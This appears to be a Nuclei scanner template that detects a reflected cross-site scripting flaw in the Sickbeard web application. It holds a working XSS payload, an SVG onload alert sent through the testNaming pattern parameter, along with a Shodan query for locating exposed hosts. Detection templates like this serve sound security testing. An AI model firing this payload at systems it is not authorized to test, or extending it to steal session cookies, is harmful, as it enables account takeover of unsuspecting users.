id: sick-beard-xss

info:
  name: Sickbeard - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: Sickbeard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://sickbeard.com/
    - https://github.com/midgetspy/Sick-Beard
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
    shodan-query: sickbeard
  tags: xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - <svg/onload=alert(document.domain)>
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4a0a0047304502210091a5ade1183c3d965da9a852c1b0aa05a45e2eb49846ace7311033487c0d9ea1022020c5125d35b84de7af290eb94eecefb3dd22a48d41e4148f3c2c8586f506a15b:922c64590222798bb761d5b6d8e72950